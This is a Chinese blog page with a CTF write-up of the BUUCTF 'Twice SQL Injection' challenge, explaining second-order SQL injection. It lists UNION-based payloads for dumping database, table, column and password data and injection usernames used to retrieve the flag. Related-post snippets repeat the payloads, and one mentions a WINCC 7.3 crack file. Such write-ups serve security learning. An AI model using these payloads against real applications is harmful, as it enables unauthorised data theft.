[BUUCTF解析]-October 2019 Twice SQL Injection

buuctf XCTF October 2019 Twice SQL Injection 二次注入原理+题解 这里要吐槽一点XCTF,之前翻题目时发现有道10分的,还是二次注入,还是0人做出,看了write up觉得还挺简单,就想混着写一下,结果0人做出的原因居然是环境打不开。然后在buuctf 平台找到了这道题,所以就试着写下write up。 目录 二次注入 二次注入的成因 二次注入常出现的地方 题解 思路 步骤 二次注入 二次注入的成因 由于开发者为了防御sql注入,使网站对我们输入的恶意语句中的一些重要的关键字进行了转义,使恶意的sql注入无法执行(比如说将单引号转义... 阅读详情

看名字应该就知道是间接的注入。

二次注入:

即使用了addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string等函数,导致实际存储在数据库中是没有转义的数据,这样读取的时候就可以被当做指令执行。

首先随便注册并登入一个账号,这里面有info信息

所以猜测是

info = "SELECT info_content FROM info WHERE username = '$logged_in_username'";

那么只需要在注册时候提前写好sql注入语句,就可以在info中回显

分享常见sql注入语句(这里的1,3是非回显点)

union select null,version(),null#

union select 1,database(),3#

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'#

union select 1,username,password from users limit 1#

union select group_concat(password) from users#

开始解题

注册名为  1' union select database() #

    注册名为  1' union select group_concat(table_name) from information_schema.tables where database()=table_schema#

      注册名为  1' union select group_concat(column_name) from information_schema.columns where table_name="flag"#

        注册名为  1' union select group_concat(flag) from flag#


        网络安全的学习之路需要持续的输入和交流。如果你觉得这篇教程对你有所帮助,我的知识星球「网络安全干货精选」或许能为你提供更多价值。直达链接:https://t.zsxq.com/akza7

        这里是一个专注于网安干货分享的社群,内容涵盖:

        1.CTF解题技巧与工具实战

        2.​​红蓝对抗中的工具与战术

        3.前沿漏洞分析与利用实践

        4.每周精选的高质量安全资讯

        期待与你在这个小圈子里相遇,共同交流切磋,快速成长。

        BUUCTF_Web(October 2019 Twice SQL injection) 当用户提交的恶意数据被存入数据库后,应用程序再把它读取出来用于生成新的SQL语句时,如果没有相应的安全措施,是有可能发生SQL注入的,这种注入就叫做二次注入。重新注册账号为admin'unionselectdatabase()#,密码123(此处此方法无用,账号必须是数字,)开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。1.注册一个用户名为:1'的用户,然后登录后在info页面发现没有数据,相当于报错。同上注册,登陆,得flag。 阅读详情

        相关推荐

        2025.1.18——五、Twice SQL Injection 1 二次注入|注入三爆|一点代码审计

        题目来源:buuctfOctober2019TwiceSQLInjection1。

        2402_87387800的博客 717

        [October 2019]Twice SQL Injection

        一. 题目是二次SQL注入,我们先了解一下二次注入原理: 二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。 在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一

        J_linnb的博客 940

        AI大模型应用性能核心指标:TTFT 与 TPOT 详解

        这两个指标专门衡量大模型流式响应性能,是评估用户体验的关键指标。· 是什么:从请求到第一个输出的等待时间· 为什么重要:决定用户的第一印象和响应感知· 优化方向:模型加载、预处理、冷启动优化· 行业标准:最好<500ms,可接受<1.5s· 是什么:每个输出token的平均生成时间· 为什么重要:决定流式输出的流畅度和总完成时间· 优化方向:推理引擎、内存带宽、批处理优化· 行业标准:最好<50ms/token,可接受<100ms/token在Dify/大模型应用中的意义。

        lovehu6686的博客 4086

        October 2019 Twice SQL Injection

        这里的bs4模块,只是让结果更简介,去掉了html的标签,不要这个也没事,下载方法自己百度吧,因为我也是百度的,我自己只会pip instlal +模块名字 -i。无非就是注意自己的python版本,有时候编者用的python2编写,但你的环境是python3, 而有些模块在不同python版本的名字是不一样的。怎么说呢,我觉得这个题适合我们练习脚本的编写,方法是最简单的联合注入(union select),但需要保持会话(session)下载模块的时候无非就是注意这几点,其他没什么的。

        夜风的博客 589

        cuda2 but found one of them on device cuda 0

        cuda2 but found one of them on device cuda 0 上面问题的重点是,不是cpu和gpu之间的常规问题,而是出现在不同gpu之间的数据。 出问题地方: model = nn.DataParallel(model, device_ids=[2,4]) 先说解决方法: 方案一: model = nn.DataParallel(model, device_ids=[0,2,4]) 前面一定要给一个0的序号,如果0被别人占了呢? 方案二: os.environ["CUDA_

        binqiang2wang 675

        保姆级教程:用Python+MM-Agent搭建自己的数学建模AI助手(支持GPT-4o/DeepSeek)

        本文提供了一份详细的教程,教你如何使用Python和MM-Agent框架搭建数学建模AI助手,支持GPT-4o和DeepSeek-R1等LLM后端。从环境配置、HMML知识库集成到多LLM适配和建模流程实现,手把手教你构建智能建模系统,提升数学建模效率。

        k6l7m8n9的博客 467

        BUU刷题记录——5

        October 2019 Twice SQL Injection 由题目名可知为二次注入 username =1' union select database() # username =1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' # username =1' union select group

        weixin_43610673的博客 2209

        L298N电机驱动模块的接线使用与代码实现

        #include "iostm8s208mb.h" #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t typedef unsigned char uint8_t; typedef unsigned short uint16_t; typedef unsigned long uint32_t; // 关于LED灯的宏定义 #define LED2 PI_ODR_ODR2 //输出量 #define LE

        Clichong 13万+

        【BUUCTF】October 2019 Twice SQL Injection1及知识点整理

        二次注入知识点、爆出数据库名、爆出表名、爆出字段

        2401_86760082的博客 1623

        JavaScript 书签脚本实战:腾讯/优酷/爱奇艺等5大视频站m3u8链接一键提取

        本文详细介绍了如何使用JavaScript书签脚本一键提取腾讯视频、优酷、爱奇艺等五大视频平台的m3u8流媒体链接。通过分析播放器内部对象结构,开发者可以高效获取视频源文件,避免录屏画质损失。文章包含各平台适配方案、实战增强功能开发及企业级解决方案设计,帮助用户快速掌握这一实用技术。

        weixin_27945229的博客 674

        11.嵌入式控制器EC实战 KBC矩阵键盘Keyboard开发流程

        文章目录笔记本矩阵键盘概述矩阵键盘的扫描方式行列扫描方式逐行逐列扫描方式EC中矩阵键盘是如何扫描并得到码值的(代码分析) 笔记本矩阵键盘概述 在EC中支持两种形式的键盘,一种是PS/2接口的键盘,这种键盘几乎已经被USB接口的键盘所取代,所以PS/2接口的键盘不在我们的讨论范围。 另一种键盘则是矩阵键盘,也是笔记本电脑的内置键盘,该键盘类似于学习单片机时使用的4*4的那种键盘,笔记本使用的矩阵键盘有三种规格,分别是16*8、17*8和18*8。16、17和18代表着该款键盘的列数,8代表着键盘的行数,我们这

        qq_30135687的博客 3818

        BUUCTF--October 2019 Twice SQL Injection

        根据题目可以知道这是一个二次注入题 注册时把我们sql语句放到username处,登录后即可看到我们想要的信息 payload为: username =1' union select database() # username =1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' # username =1' union select gr

        qq_46263951的博客 1326

        信奥赛C++提高组csp-s之数论基础专题课:从同余到分数模运算1(知识地图:同余、裴蜀定理、扩展欧几里得、乘法逆元、分数模运算)

        信奥赛C++提高组csp-s之数论基础专题课:从同余到分数模运算1(知识地图:同余、裴蜀定理、扩展欧几里得、乘法逆元、分数模运算)

        王老师青少年编程 796

        buuctf-web-October 2019 Twice SQL Injection1

        重新注册账号为admin' union select database()#,密码123456(此处此方法无用,账号必须是数字)随后就是sql注入常规操作,爆库爆表爆字段读内容,继续注册账户名带注入语句的用户。注册账号为1' union select database()#,密码为123。重新登录,发现显示数据库为ctftraining。到注册界面随便注册一个用户后登录。看这题目,二次注入,打开环境。

        mlws1900的博客 756

        把 Claude Code 接进 ABAP 世界,vibing-steampunk 到底能做什么

        《Vibing Steampunk:AI Agent 与 ABAP 开发的工程化桥梁》摘要 Vibing Steampunk(vsp)是一个连接 AI Agent 与 SAP ABAP 开发环境的开源工具,通过 Model Context Protocol(MCP)将 ABAP 开发能力标准化。它解决了传统 ABAP 开发中 AI 辅助工具的局限性,使 Claude Code 等 AI 编程助手能够直接访问 ADT API,实现代码读写、调试、测试等完整开发流程。该工具采用 Go 语言开发,提供 147 个

        2007 年 ~ 2025 年,深耕 SAP 技术 18 年 1945

        lwip-2.0.3

        lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

        BUUCTF_Web(October 2019 Twice SQL injection)题解

        用户向数据库存入恶意数据,在送进数据库时,会对存入的信息进行转义再储存,但存进去的数据会被转义回来(及原样存进数据库,防止用户在输入时捣乱),一般默认库中数据是安全的,所以在取出时不会在进行转义,这个时候就会引起SQL注入二次注入,可以概括为以下两步:第一步:插入恶意数据第二步:引用恶意数据。

        JOY_ZouQY的博客 173

        WINCC7.3破解文件

        WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

        53,【3】BUUCTF WEB october 2019 Twice SQLinjection

        我真的纯脑子有病,人家二次注入不是注入两次,是一次注入通过两次操作实现,如下所示。database()库名ctftraining。表名flag,news,users。最后一步不显示flag。3,看到陌生词语先搜搜,不能想当然。题目得到信息,2次注入,进入靶场。1,SQL注入还有2次注入的类型。2,爆出信息的语句需要多次修改。登录页面,很自然想到SQL。不过恶意语句输两次就可以了。

        2402_87039650的博客 571

        深度学习工具包 DeepLearningToolbox

        深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

        最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

        Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

        buu-October 2019 Twice SQL Injection

        标题朴实无华的二次注入 两个注入点,注册和改info rua' union select database() # 在注册的user处可以找到二次注入点 没有特殊的过滤,四步正常走就行 rua' union select database() # rua' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' # rua' union select gro

        qaq517384的博客 654

        二次SQL注入

        用户向数据库存入恶意数据,当数据被送进数据库的时候,会对存入的信息进行转义然后再储存,但是存进去的数据会再次被转义回来(也就是原样不变的存进数据库里,只是害怕攻击者在存入数据的时候捣蛋而已),一般默认数据库里的数据都是安全的,所以当用户再次访问时,要从数据库里拿出数据来,这时候就不会再进行转义处理,此时会引起SQL注入。

        2401_86190146的博客 858
        上一篇: 御剑—CTF和实战攻防常用的扫描工具
        下一篇: Spring Boot Actuator未授权访问漏洞检测工具
        「已注销」
        博客等级 码龄3年 27粉丝 25原创
        评论
        成就一亿技术人!
        拼手气红包6.0元
        还能输入1000个字符
         
         条评论被折叠 查看
        添加红包

        请填写红包祝福语或标题

        个

        红包个数最小为10个

        元

        红包金额最低5元

        当前余额3.43元 前往充值 >
        需支付:10.00元
        成就一亿技术人!
        领取后你会自动成为博主和红包主的粉丝 规则
        hope_wisdom
        发出的红包
        实付元
        使用余额支付
        点击重新获取
        扫码支付
        钱包余额 0

        抵扣说明:

        1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
        2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

        余额充值